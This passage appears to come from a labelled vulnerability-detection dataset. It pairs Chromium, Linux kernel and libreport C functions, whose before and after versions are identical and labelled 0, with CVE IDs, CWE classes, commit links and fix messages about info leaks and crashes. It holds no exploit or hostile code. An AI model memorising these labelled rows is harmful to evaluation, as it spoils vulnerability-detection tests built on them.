resources.push_back(std::make_pair("webViewConstants", IDR_WEB_VIEW_CONSTANTS_JS)); resources.push_back(std::make_pair("webViewEvents", IDR_WEB_VIEW_EVENTS_JS)); resources.push_back(std::make_pair("webViewInternal", IDR_WEB_VIEW_INTERNAL_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("webViewExperimental", IDR_WEB_VIEW_EXPERIMENTAL_JS)); resources.push_back( std::make_pair(mojo::kBindingsModuleName, IDR_MOJO_BINDINGS_JS)); resources.push_back( std::make_pair(mojo::kBufferModuleName, IDR_MOJO_BUFFER_JS)); resources.push_back( std::make_pair(mojo::kCodecModuleName, IDR_MOJO_CODEC_JS)); resources.push_back( std::make_pair(mojo::kConnectionModuleName, IDR_MOJO_CONNECTION_JS)); resources.push_back( std::make_pair(mojo::kConnectorModuleName, IDR_MOJO_CONNECTOR_JS)); resources.push_back( std::make_pair(mojo::kRouterModuleName, IDR_MOJO_ROUTER_JS)); resources.push_back( std::make_pair(mojo::kUnicodeModuleName, IDR_MOJO_UNICODE_JS)); resources.push_back( std::make_pair(mojo::kValidatorModuleName, IDR_MOJO_VALIDATOR_JS)); resources.push_back(std::make_pair("async_waiter", IDR_ASYNC_WAITER_JS)); resources.push_back(std::make_pair("data_receiver", IDR_DATA_RECEIVER_JS)); resources.push_back(std::make_pair("data_sender", IDR_DATA_SENDER_JS)); resources.push_back(std::make_pair("keep_alive", IDR_KEEP_ALIVE_JS)); resources.push_back(std::make_pair("extensions/common/mojo/keep_alive.mojom", IDR_KEEP_ALIVE_MOJOM_JS)); resources.push_back(std::make_pair("device/serial/data_stream.mojom", IDR_DATA_STREAM_MOJOM_JS)); resources.push_back( std::make_pair("device/serial/data_stream_serialization.mojom", IDR_DATA_STREAM_SERIALIZATION_MOJOM_JS)); resources.push_back(std::make_pair("stash_client", IDR_STASH_CLIENT_JS)); resources.push_back( std::make_pair("extensions/common/mojo/stash.mojom", IDR_STASH_MOJOM_JS)); resources.push_back( std::make_pair("app.runtime", IDR_APP_RUNTIME_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("app.window", IDR_APP_WINDOW_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("declarativeWebRequest", IDR_DECLARATIVE_WEBREQUEST_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("displaySource", IDR_DISPLAY_SOURCE_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("contextMenus", IDR_CONTEXT_MENUS_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("contextMenusHandlers", IDR_CONTEXT_MENUS_HANDLERS_JS)); resources.push_back( std::make_pair("extension", IDR_EXTENSION_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("i18n", IDR_I18N_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair( "mimeHandlerPrivate", IDR_MIME_HANDLER_PRIVATE_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("extensions/common/api/mime_handler.mojom", IDR_MIME_HANDLER_MOJOM_JS)); resources.push_back( std::make_pair("mojoPrivate", IDR_MOJO_PRIVATE_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("permissions", IDR_PERMISSIONS_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("printerProvider", IDR_PRINTER_PROVIDER_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("runtime", IDR_RUNTIME_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("windowControls", IDR_WINDOW_CONTROLS_JS)); resources.push_back( std::make_pair("webViewRequest", IDR_WEB_VIEW_REQUEST_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("binding", IDR_BINDING_JS)); if (base::CommandLine::ForCurrentProcess()->HasSwitch( switches::kEnableMojoSerialService)) { resources.push_back( std::make_pair("serial", IDR_SERIAL_CUSTOM_BINDINGS_JS)); } resources.push_back(std::make_pair("serial_service", IDR_SERIAL_SERVICE_JS)); resources.push_back( std::make_pair("device/serial/serial.mojom", IDR_SERIAL_MOJOM_JS)); resources.push_back(std::make_pair("device/serial/serial_serialization.mojom", IDR_SERIAL_SERIALIZATION_MOJOM_JS)); resources.push_back(std::make_pair("StorageArea", IDR_STORAGE_AREA_JS)); resources.push_back(std::make_pair("platformApp", IDR_PLATFORM_APP_JS)); #if defined(ENABLE_MEDIA_ROUTER) resources.push_back( std::make_pair("chrome/browser/media/router/mojo/media_router.mojom", IDR_MEDIA_ROUTER_MOJOM_JS)); resources.push_back( std::make_pair("media_router_bindings", IDR_MEDIA_ROUTER_BINDINGS_JS)); #endif // defined(ENABLE_MEDIA_ROUTER) return resources; }
std::vector<std::pair<std::string, int> > Dispatcher::GetJsResources() { std::vector<std::pair<std::string, int> > resources; resources.push_back(std::make_pair("appView", IDR_APP_VIEW_JS)); resources.push_back(std::make_pair("entryIdManager", IDR_ENTRY_ID_MANAGER)); resources.push_back(std::make_pair(kEventBindings, IDR_EVENT_BINDINGS_JS)); resources.push_back(std::make_pair("extensionOptions", IDR_EXTENSION_OPTIONS_JS)); resources.push_back(std::make_pair("extensionOptionsAttributes", IDR_EXTENSION_OPTIONS_ATTRIBUTES_JS)); resources.push_back(std::make_pair("extensionOptionsConstants", IDR_EXTENSION_OPTIONS_CONSTANTS_JS)); resources.push_back(std::make_pair("extensionOptionsEvents", IDR_EXTENSION_OPTIONS_EVENTS_JS)); resources.push_back(std::make_pair("extensionView", IDR_EXTENSION_VIEW_JS)); resources.push_back(std::make_pair("extensionViewApiMethods", IDR_EXTENSION_VIEW_API_METHODS_JS)); resources.push_back(std::make_pair("extensionViewAttributes", IDR_EXTENSION_VIEW_ATTRIBUTES_JS)); resources.push_back(std::make_pair("extensionViewConstants", IDR_EXTENSION_VIEW_CONSTANTS_JS)); resources.push_back(std::make_pair("extensionViewEvents", IDR_EXTENSION_VIEW_EVENTS_JS)); resources.push_back(std::make_pair( "extensionViewInternal", IDR_EXTENSION_VIEW_INTERNAL_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("guestView", IDR_GUEST_VIEW_JS)); resources.push_back(std::make_pair("guestViewAttributes", IDR_GUEST_VIEW_ATTRIBUTES_JS)); resources.push_back(std::make_pair("guestViewContainer", IDR_GUEST_VIEW_CONTAINER_JS)); resources.push_back(std::make_pair("guestViewDeny", IDR_GUEST_VIEW_DENY_JS)); resources.push_back(std::make_pair("guestViewEvents", IDR_GUEST_VIEW_EVENTS_JS)); if (content::BrowserPluginGuestMode::UseCrossProcessFramesForGuests()) { resources.push_back(std::make_pair("guestViewIframe", IDR_GUEST_VIEW_IFRAME_JS)); resources.push_back(std::make_pair("guestViewIframeContainer", IDR_GUEST_VIEW_IFRAME_CONTAINER_JS)); } resources.push_back(std::make_pair("imageUtil", IDR_IMAGE_UTIL_JS)); resources.push_back(std::make_pair("json_schema", IDR_JSON_SCHEMA_JS)); resources.push_back(std::make_pair("lastError", IDR_LAST_ERROR_JS)); resources.push_back(std::make_pair("messaging", IDR_MESSAGING_JS)); resources.push_back(std::make_pair("messaging_utils", IDR_MESSAGING_UTILS_JS)); resources.push_back(std::make_pair(kSchemaUtils, IDR_SCHEMA_UTILS_JS)); resources.push_back(std::make_pair("sendRequest", IDR_SEND_REQUEST_JS)); resources.push_back(std::make_pair("setIcon", IDR_SET_ICON_JS)); resources.push_back(std::make_pair("test", IDR_TEST_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("test_environment_specific_bindings", IDR_BROWSER_TEST_ENVIRONMENT_SPECIFIC_BINDINGS_JS)); resources.push_back(std::make_pair("uncaught_exception_handler", IDR_UNCAUGHT_EXCEPTION_HANDLER_JS)); resources.push_back(std::make_pair("utils", IDR_UTILS_JS)); resources.push_back(std::make_pair("webRequest", IDR_WEB_REQUEST_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("webRequestInternal", IDR_WEB_REQUEST_INTERNAL_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("webView", IDR_WEB_VIEW_JS)); resources.push_back(std::make_pair("webViewActionRequests", IDR_WEB_VIEW_ACTION_REQUESTS_JS)); resources.push_back(std::make_pair("webViewApiMethods", IDR_WEB_VIEW_API_METHODS_JS)); resources.push_back(std::make_pair("webViewAttributes", IDR_WEB_VIEW_ATTRIBUTES_JS)); resources.push_back(std::make_pair("webViewConstants", IDR_WEB_VIEW_CONSTANTS_JS)); resources.push_back(std::make_pair("webViewEvents", IDR_WEB_VIEW_EVENTS_JS)); resources.push_back(std::make_pair("webViewInternal", IDR_WEB_VIEW_INTERNAL_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("webViewExperimental", IDR_WEB_VIEW_EXPERIMENTAL_JS)); resources.push_back( std::make_pair(mojo::kBindingsModuleName, IDR_MOJO_BINDINGS_JS)); resources.push_back( std::make_pair(mojo::kBufferModuleName, IDR_MOJO_BUFFER_JS)); resources.push_back( std::make_pair(mojo::kCodecModuleName, IDR_MOJO_CODEC_JS)); resources.push_back( std::make_pair(mojo::kConnectionModuleName, IDR_MOJO_CONNECTION_JS)); resources.push_back( std::make_pair(mojo::kConnectorModuleName, IDR_MOJO_CONNECTOR_JS)); resources.push_back( std::make_pair(mojo::kRouterModuleName, IDR_MOJO_ROUTER_JS)); resources.push_back( std::make_pair(mojo::kUnicodeModuleName, IDR_MOJO_UNICODE_JS)); resources.push_back( std::make_pair(mojo::kValidatorModuleName, IDR_MOJO_VALIDATOR_JS)); resources.push_back(std::make_pair("async_waiter", IDR_ASYNC_WAITER_JS)); resources.push_back(std::make_pair("data_receiver", IDR_DATA_RECEIVER_JS)); resources.push_back(std::make_pair("data_sender", IDR_DATA_SENDER_JS)); resources.push_back(std::make_pair("keep_alive", IDR_KEEP_ALIVE_JS)); resources.push_back(std::make_pair("extensions/common/mojo/keep_alive.mojom", IDR_KEEP_ALIVE_MOJOM_JS)); resources.push_back(std::make_pair("device/serial/data_stream.mojom", IDR_DATA_STREAM_MOJOM_JS)); resources.push_back( std::make_pair("device/serial/data_stream_serialization.mojom", IDR_DATA_STREAM_SERIALIZATION_MOJOM_JS)); resources.push_back(std::make_pair("stash_client", IDR_STASH_CLIENT_JS)); resources.push_back( std::make_pair("extensions/common/mojo/stash.mojom", IDR_STASH_MOJOM_JS)); resources.push_back( std::make_pair("app.runtime", IDR_APP_RUNTIME_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("app.window", IDR_APP_WINDOW_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("declarativeWebRequest", IDR_DECLARATIVE_WEBREQUEST_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("displaySource", IDR_DISPLAY_SOURCE_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("contextMenus", IDR_CONTEXT_MENUS_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("contextMenusHandlers", IDR_CONTEXT_MENUS_HANDLERS_JS)); resources.push_back( std::make_pair("extension", IDR_EXTENSION_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("i18n", IDR_I18N_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair( "mimeHandlerPrivate", IDR_MIME_HANDLER_PRIVATE_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("extensions/common/api/mime_handler.mojom", IDR_MIME_HANDLER_MOJOM_JS)); resources.push_back( std::make_pair("mojoPrivate", IDR_MOJO_PRIVATE_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("permissions", IDR_PERMISSIONS_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("printerProvider", IDR_PRINTER_PROVIDER_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("runtime", IDR_RUNTIME_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("windowControls", IDR_WINDOW_CONTROLS_JS)); resources.push_back( std::make_pair("webViewRequest", IDR_WEB_VIEW_REQUEST_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("binding", IDR_BINDING_JS)); if (base::CommandLine::ForCurrentProcess()->HasSwitch( switches::kEnableMojoSerialService)) { resources.push_back( std::make_pair("serial", IDR_SERIAL_CUSTOM_BINDINGS_JS)); } resources.push_back(std::make_pair("serial_service", IDR_SERIAL_SERVICE_JS)); resources.push_back( std::make_pair("device/serial/serial.mojom", IDR_SERIAL_MOJOM_JS)); resources.push_back(std::make_pair("device/serial/serial_serialization.mojom", IDR_SERIAL_SERIALIZATION_MOJOM_JS)); resources.push_back(std::make_pair("StorageArea", IDR_STORAGE_AREA_JS)); resources.push_back(std::make_pair("platformApp", IDR_PLATFORM_APP_JS)); #if defined(ENABLE_MEDIA_ROUTER) resources.push_back( std::make_pair("chrome/browser/media/router/mojo/media_router.mojom", IDR_MEDIA_ROUTER_MOJOM_JS)); resources.push_back( std::make_pair("media_router_bindings", IDR_MEDIA_ROUTER_BINDINGS_JS)); #endif // defined(ENABLE_MEDIA_ROUTER) return resources; }
C
Chrome
0
CVE-2018-20855
https://www.cvedetails.com/cve/CVE-2018-20855/
CWE-119
https://github.com/torvalds/linux/commit/0625b4ba1a5d4703c7fb01c497bd6c156908af00
0625b4ba1a5d4703c7fb01c497bd6c156908af00
IB/mlx5: Fix leaking stack memory to userspace mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes were written. Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp") Cc: <stable@vger.kernel.org> Acked-by: Leon Romanovsky <leonro@mellanox.com> Signed-off-by: Jason Gunthorpe <jgg@mellanox.com>
static u8 wq_sig(void *wqe) { return calc_sig(wqe, (*((u8 *)wqe + 8) & 0x3f) << 4); }
static u8 wq_sig(void *wqe) { return calc_sig(wqe, (*((u8 *)wqe + 8) & 0x3f) << 4); }
C
linux
0
CVE-2015-6765
https://www.cvedetails.com/cve/CVE-2015-6765/
null
https://github.com/chromium/chromium/commit/e5c298b780737c53fa9aae44d6fef522931d88b0
e5c298b780737c53fa9aae44d6fef522931d88b0
AppCache: fix a browser crashing bug that can happen during updates. BUG=558589 Review URL: https://codereview.chromium.org/1463463003 Cr-Commit-Position: refs/heads/master@{#360967}
void SendLogMessage(const std::string& message) { for (NotifyHostMap::iterator it = hosts_to_notify.begin(); it != hosts_to_notify.end(); ++it) { AppCacheFrontend* frontend = it->first; for (HostIds::iterator id = it->second.begin(); id != it->second.end(); ++id) { frontend->OnLogMessage(*id, APPCACHE_LOG_WARNING, message); } } }
void SendLogMessage(const std::string& message) { for (NotifyHostMap::iterator it = hosts_to_notify.begin(); it != hosts_to_notify.end(); ++it) { AppCacheFrontend* frontend = it->first; for (HostIds::iterator id = it->second.begin(); id != it->second.end(); ++id) { frontend->OnLogMessage(*id, APPCACHE_LOG_WARNING, message); } } }
C
Chrome
0
null
null
null
https://github.com/chromium/chromium/commit/62b8b6e168a12263aab6b88dbef0b900cc37309f
62b8b6e168a12263aab6b88dbef0b900cc37309f
Add partial magnifier to ash palette. The partial magnifier will magnify a small portion of the screen, similar to a spyglass. TEST=./out/Release/ash_unittests --gtest_filter=PartialMagnificationControllerTest.* TBR=oshima@chromium.org BUG=616112 Review-Url: https://codereview.chromium.org/2239553002 Cr-Commit-Position: refs/heads/master@{#414124}
void PaletteTray::SessionStateChanged( SessionStateDelegate::SessionState state) { UpdateIconVisibility(); }
void PaletteTray::SessionStateChanged( SessionStateDelegate::SessionState state) { UpdateIconVisibility(); }
C
Chrome
0
CVE-2014-0131
https://www.cvedetails.com/cve/CVE-2014-0131/
CWE-416
https://github.com/torvalds/linux/commit/1fd819ecb90cc9b822cd84d3056ddba315d3340f
1fd819ecb90cc9b822cd84d3056ddba315d3340f
skbuff: skb_segment: orphan frags before copying skb_segment copies frags around, so we need to copy them carefully to avoid accessing user memory after reporting completion to userspace through a callback. skb_segment doesn't normally happen on datapath: TSO needs to be disabled - so disabling zero copy in this case does not look like a big deal. Signed-off-by: Michael S. Tsirkin <mst@redhat.com> Acked-by: Herbert Xu <herbert@gondor.apana.org.au> Signed-off-by: David S. Miller <davem@davemloft.net>
struct sk_buff *__alloc_skb_head(gfp_t gfp_mask, int node) { struct sk_buff *skb; /* Get the HEAD */ skb = kmem_cache_alloc_node(skbuff_head_cache, gfp_mask & ~__GFP_DMA, node); if (!skb) goto out; /* * Only clear those fields we need to clear, not those that we will * actually initialise below. Hence, don't put any more fields after * the tail pointer in struct sk_buff! */ memset(skb, 0, offsetof(struct sk_buff, tail)); skb->head = NULL; skb->truesize = sizeof(struct sk_buff); atomic_set(&skb->users, 1); skb->mac_header = (typeof(skb->mac_header))~0U; out: return skb; }
struct sk_buff *__alloc_skb_head(gfp_t gfp_mask, int node) { struct sk_buff *skb; /* Get the HEAD */ skb = kmem_cache_alloc_node(skbuff_head_cache, gfp_mask & ~__GFP_DMA, node); if (!skb) goto out; /* * Only clear those fields we need to clear, not those that we will * actually initialise below. Hence, don't put any more fields after * the tail pointer in struct sk_buff! */ memset(skb, 0, offsetof(struct sk_buff, tail)); skb->head = NULL; skb->truesize = sizeof(struct sk_buff); atomic_set(&skb->users, 1); skb->mac_header = (typeof(skb->mac_header))~0U; out: return skb; }
C
linux
0
CVE-2019-5755
https://www.cvedetails.com/cve/CVE-2019-5755/
CWE-189
https://github.com/chromium/chromium/commit/971548cdca2d4c0a6fedd3db0c94372c2a27eac3
971548cdca2d4c0a6fedd3db0c94372c2a27eac3
Make MediaStreamDispatcherHost per-request instead of per-frame. Instead of having RenderFrameHost own a single MSDH to handle all requests from a frame, MSDH objects will be owned by a strong binding. A consequence of this is that an additional requester ID is added to requests to MediaStreamManager, so that an MSDH is able to cancel only requests generated by it. In practice, MSDH will continue to be per frame in most cases since each frame normally makes a single request for an MSDH object. This fixes a lifetime issue caused by the IO thread executing tasks after the RenderFrameHost dies. Drive-by: Fix some minor lint issues. Bug: 912520 Change-Id: I52742ffc98b9fc57ce8e6f5093a61aed86d3e516 Reviewed-on: https://chromium-review.googlesource.com/c/1369799 Reviewed-by: Emircan Uysaler <emircan@chromium.org> Reviewed-by: Ken Buchanan <kenrb@chromium.org> Reviewed-by: Olga Sharonova <olka@chromium.org> Commit-Queue: Guido Urdaneta <guidou@chromium.org> Cr-Commit-Position: refs/heads/master@{#616347}
void SpeechRecognitionManagerImpl::ResetCapturingSessionId( const Session& session) { DCHECK_EQ(primary_session_id_, session.id); primary_session_id_ = kSessionIDInvalid; }
void SpeechRecognitionManagerImpl::ResetCapturingSessionId( const Session& session) { DCHECK_EQ(primary_session_id_, session.id); primary_session_id_ = kSessionIDInvalid; }
C
Chrome
0
CVE-2012-6541
https://www.cvedetails.com/cve/CVE-2012-6541/
CWE-200
https://github.com/torvalds/linux/commit/7b07f8eb75aa3097cdfd4f6eac3da49db787381d
7b07f8eb75aa3097cdfd4f6eac3da49db787381d
dccp: fix info leak via getsockopt(DCCP_SOCKOPT_CCID_TX_INFO) The CCID3 code fails to initialize the trailing padding bytes of struct tfrc_tx_info added for alignment on 64 bit architectures. It that for potentially leaks four bytes kernel stack via the getsockopt() syscall. Add an explicit memset(0) before filling the structure to avoid the info leak. Signed-off-by: Mathias Krause <minipli@googlemail.com> Cc: Gerrit Renker <gerrit@erg.abdn.ac.uk> Signed-off-by: David S. Miller <davem@davemloft.net>
static int ccid3_hc_rx_init(struct ccid *ccid, struct sock *sk) { struct ccid3_hc_rx_sock *hc = ccid_priv(ccid); hc->rx_state = TFRC_RSTATE_NO_DATA; tfrc_lh_init(&hc->rx_li_hist); return tfrc_rx_hist_alloc(&hc->rx_hist); }
static int ccid3_hc_rx_init(struct ccid *ccid, struct sock *sk) { struct ccid3_hc_rx_sock *hc = ccid_priv(ccid); hc->rx_state = TFRC_RSTATE_NO_DATA; tfrc_lh_init(&hc->rx_li_hist); return tfrc_rx_hist_alloc(&hc->rx_hist); }
C
linux
0
CVE-2015-5302
https://www.cvedetails.com/cve/CVE-2015-5302/
CWE-200
https://github.com/abrt/libreport/commit/257578a23d1537a2d235aaa2b1488ee4f818e360
257578a23d1537a2d235aaa2b1488ee4f818e360
wizard: fix save users changes after reviewing dump dir files If the user reviewed the dump dir's files during reporting the crash, the changes was thrown away and original data was passed to the bugzilla bug report. report-gtk saves the first text view buffer and then reloads data from the reported problem directory, which causes that the changes made to those text views are thrown away. Function save_text_if_changed(), except of saving text, also reload the files from dump dir and update gui state from the dump dir. The commit moves the reloading and updating gui functions away from this function. Related to rhbz#1270235 Signed-off-by: Matej Habrnal <mhabrnal@redhat.com>
static gboolean consume_cmd_output(GIOChannel *source, GIOCondition condition, gpointer data) { struct analyze_event_data *evd = data; struct run_event_state *run_state = evd->run_state; bool stop_requested = false; int retval = consume_event_command_output(run_state, g_dump_dir_name); if (retval < 0 && errno == EAGAIN) /* We got all buffered data, but fd is still open. Done for now */ return TRUE; /* "please don't remove this event (yet)" */ /* EOF/error */ if (WIFEXITED(run_state->process_status) && WEXITSTATUS(run_state->process_status) == EXIT_STOP_EVENT_RUN ) { retval = 0; run_state->process_status = 0; stop_requested = true; terminate_event_chain(TERMINATE_NOFLAGS); } unexport_event_config(evd->env_list); evd->env_list = NULL; /* Make sure "Cancel" button won't send anything (process is gone) */ g_event_child_pid = -1; evd->run_state->command_pid = -1; /* just for consistency */ /* Write a final message to the log */ if (evd->event_log->len != 0 && evd->event_log->buf[evd->event_log->len - 1] != '\n') save_to_event_log(evd, "\n"); /* If program failed, or if it finished successfully without saying anything... */ if (retval != 0 || evd->event_log_state == LOGSTATE_FIRSTLINE) { char *msg = exit_status_as_string(evd->event_name, run_state->process_status); if (retval != 0) { /* If program failed, emit *error* line */ evd->event_log_state = LOGSTATE_ERRLINE; } append_to_textview(g_tv_event_log, msg); save_to_event_log(evd, msg); free(msg); } /* Append log to FILENAME_EVENT_LOG */ update_event_log_on_disk(evd->event_log->buf); strbuf_clear(evd->event_log); evd->event_log_state = LOGSTATE_FIRSTLINE; struct dump_dir *dd = NULL; if (geteuid() == 0) { /* Reset mode/uig/gid to correct values for all files created by event run */ dd = dd_opendir(g_dump_dir_name, 0); if (dd) dd_sanitize_mode_and_owner(dd); } if (retval == 0 && !g_expert_mode) { /* Check whether NOT_REPORTABLE element appeared. If it did, we'll stop * even if exit code is "success". */ if (!dd) /* why? because dd may be already open by the code above */ dd = dd_opendir(g_dump_dir_name, DD_OPEN_READONLY | DD_FAIL_QUIETLY_EACCES); if (!dd) xfunc_die(); char *not_reportable = dd_load_text_ext(dd, FILENAME_NOT_REPORTABLE, 0 | DD_LOAD_TEXT_RETURN_NULL_ON_FAILURE | DD_FAIL_QUIETLY_ENOENT | DD_FAIL_QUIETLY_EACCES); if (not_reportable) retval = 256; free(not_reportable); } if (dd) dd_close(dd); /* Stop if exit code is not 0, or no more commands */ if (stop_requested || retval != 0 || spawn_next_command_in_evd(evd) < 0 ) { log_notice("done running event on '%s': %d", g_dump_dir_name, retval); append_to_textview(g_tv_event_log, "\n"); /* Free child output buffer */ strbuf_free(cmd_output); cmd_output = NULL; /* Hide spinner and stop btn */ gtk_widget_hide(GTK_WIDGET(g_spinner_event_log)); gtk_widget_hide(g_btn_stop); /* Enable (un-gray out) navigation buttons */ gtk_widget_set_sensitive(g_btn_close, true); gtk_widget_set_sensitive(g_btn_next, true); problem_data_reload_from_dump_dir(); update_gui_state_from_problem_data(UPDATE_SELECTED_EVENT); if (retval != 0) { gtk_widget_show(GTK_WIDGET(g_img_process_fail)); /* 256 means NOT_REPORTABLE */ if (retval == 256) cancel_processing(g_lbl_event_log, _("Processing was interrupted because the problem is not reportable."), TERMINATE_NOFLAGS); else { /* We use SIGTERM to stop event processing on user's request. * So SIGTERM is not a failure. */ if (retval == EXIT_CANCEL_BY_USER || WTERMSIG(run_state->process_status) == SIGTERM) cancel_processing(g_lbl_event_log, /* default message */ NULL, TERMINATE_NOFLAGS); else { cancel_processing(g_lbl_event_log, _("Processing failed."), TERMINATE_WITH_RERUN); on_failed_event(evd->event_name); } } } else { gtk_label_set_text(g_lbl_event_log, is_processing_finished() ? _("Processing finished.") : _("Processing finished, please proceed to the next step.")); } g_source_remove(g_event_source_id); g_event_source_id = 0; close(evd->fd); g_io_channel_unref(evd->channel); free_run_event_state(evd->run_state); strbuf_free(evd->event_log); free(evd->event_name); free(evd); /* Inform abrt-gui that it is a good idea to rescan the directory */ kill(getppid(), SIGCHLD); if (is_processing_finished()) hide_next_step_button(); else if (retval == 0 && !g_verbose && !g_expert_mode) on_next_btn_cb(GTK_WIDGET(g_btn_next), NULL); return FALSE; /* "please remove this event" */ } /* New command was started. Continue waiting for input */ /* Transplant cmd's output fd onto old one, so that main loop * is none the wiser that fd it waits on has changed */ xmove_fd(evd->run_state->command_out_fd, evd->fd); evd->run_state->command_out_fd = evd->fd; /* just to keep it consistent */ ndelay_on(evd->fd); /* Revive "Cancel" button */ g_event_child_pid = evd->run_state->command_pid; return TRUE; /* "please don't remove this event (yet)" */ }
static gboolean consume_cmd_output(GIOChannel *source, GIOCondition condition, gpointer data) { struct analyze_event_data *evd = data; struct run_event_state *run_state = evd->run_state; bool stop_requested = false; int retval = consume_event_command_output(run_state, g_dump_dir_name); if (retval < 0 && errno == EAGAIN) /* We got all buffered data, but fd is still open. Done for now */ return TRUE; /* "please don't remove this event (yet)" */ /* EOF/error */ if (WIFEXITED(run_state->process_status) && WEXITSTATUS(run_state->process_status) == EXIT_STOP_EVENT_RUN ) { retval = 0; run_state->process_status = 0; stop_requested = true; terminate_event_chain(TERMINATE_NOFLAGS); } unexport_event_config(evd->env_list); evd->env_list = NULL; /* Make sure "Cancel" button won't send anything (process is gone) */ g_event_child_pid = -1; evd->run_state->command_pid = -1; /* just for consistency */ /* Write a final message to the log */ if (evd->event_log->len != 0 && evd->event_log->buf[evd->event_log->len - 1] != '\n') save_to_event_log(evd, "\n"); /* If program failed, or if it finished successfully without saying anything... */ if (retval != 0 || evd->event_log_state == LOGSTATE_FIRSTLINE) { char *msg = exit_status_as_string(evd->event_name, run_state->process_status); if (retval != 0) { /* If program failed, emit *error* line */ evd->event_log_state = LOGSTATE_ERRLINE; } append_to_textview(g_tv_event_log, msg); save_to_event_log(evd, msg); free(msg); } /* Append log to FILENAME_EVENT_LOG */ update_event_log_on_disk(evd->event_log->buf); strbuf_clear(evd->event_log); evd->event_log_state = LOGSTATE_FIRSTLINE; struct dump_dir *dd = NULL; if (geteuid() == 0) { /* Reset mode/uig/gid to correct values for all files created by event run */ dd = dd_opendir(g_dump_dir_name, 0); if (dd) dd_sanitize_mode_and_owner(dd); } if (retval == 0 && !g_expert_mode) { /* Check whether NOT_REPORTABLE element appeared. If it did, we'll stop * even if exit code is "success". */ if (!dd) /* why? because dd may be already open by the code above */ dd = dd_opendir(g_dump_dir_name, DD_OPEN_READONLY | DD_FAIL_QUIETLY_EACCES); if (!dd) xfunc_die(); char *not_reportable = dd_load_text_ext(dd, FILENAME_NOT_REPORTABLE, 0 | DD_LOAD_TEXT_RETURN_NULL_ON_FAILURE | DD_FAIL_QUIETLY_ENOENT | DD_FAIL_QUIETLY_EACCES); if (not_reportable) retval = 256; free(not_reportable); } if (dd) dd_close(dd); /* Stop if exit code is not 0, or no more commands */ if (stop_requested || retval != 0 || spawn_next_command_in_evd(evd) < 0 ) { log_notice("done running event on '%s': %d", g_dump_dir_name, retval); append_to_textview(g_tv_event_log, "\n"); /* Free child output buffer */ strbuf_free(cmd_output); cmd_output = NULL; /* Hide spinner and stop btn */ gtk_widget_hide(GTK_WIDGET(g_spinner_event_log)); gtk_widget_hide(g_btn_stop); /* Enable (un-gray out) navigation buttons */ gtk_widget_set_sensitive(g_btn_close, true); gtk_widget_set_sensitive(g_btn_next, true); problem_data_reload_from_dump_dir(); update_gui_state_from_problem_data(UPDATE_SELECTED_EVENT); if (retval != 0) { gtk_widget_show(GTK_WIDGET(g_img_process_fail)); /* 256 means NOT_REPORTABLE */ if (retval == 256) cancel_processing(g_lbl_event_log, _("Processing was interrupted because the problem is not reportable."), TERMINATE_NOFLAGS); else { /* We use SIGTERM to stop event processing on user's request. * So SIGTERM is not a failure. */ if (retval == EXIT_CANCEL_BY_USER || WTERMSIG(run_state->process_status) == SIGTERM) cancel_processing(g_lbl_event_log, /* default message */ NULL, TERMINATE_NOFLAGS); else { cancel_processing(g_lbl_event_log, _("Processing failed."), TERMINATE_WITH_RERUN); on_failed_event(evd->event_name); } } } else { gtk_label_set_text(g_lbl_event_log, is_processing_finished() ? _("Processing finished.") : _("Processing finished, please proceed to the next step.")); } g_source_remove(g_event_source_id); g_event_source_id = 0; close(evd->fd); g_io_channel_unref(evd->channel); free_run_event_state(evd->run_state); strbuf_free(evd->event_log); free(evd->event_name); free(evd); /* Inform abrt-gui that it is a good idea to rescan the directory */ kill(getppid(), SIGCHLD); if (is_processing_finished()) hide_next_step_button(); else if (retval == 0 && !g_verbose && !g_expert_mode) on_next_btn_cb(GTK_WIDGET(g_btn_next), NULL); return FALSE; /* "please remove this event" */ } /* New command was started. Continue waiting for input */ /* Transplant cmd's output fd onto old one, so that main loop * is none the wiser that fd it waits on has changed */ xmove_fd(evd->run_state->command_out_fd, evd->fd); evd->run_state->command_out_fd = evd->fd; /* just to keep it consistent */ ndelay_on(evd->fd); /* Revive "Cancel" button */ g_event_child_pid = evd->run_state->command_pid; return TRUE; /* "please don't remove this event (yet)" */ }
C
libreport
0
CVE-2011-2350
https://www.cvedetails.com/cve/CVE-2011-2350/
CWE-20
https://github.com/chromium/chromium/commit/b944f670bb7a8a919daac497a4ea0536c954c201
b944f670bb7a8a919daac497a4ea0536c954c201
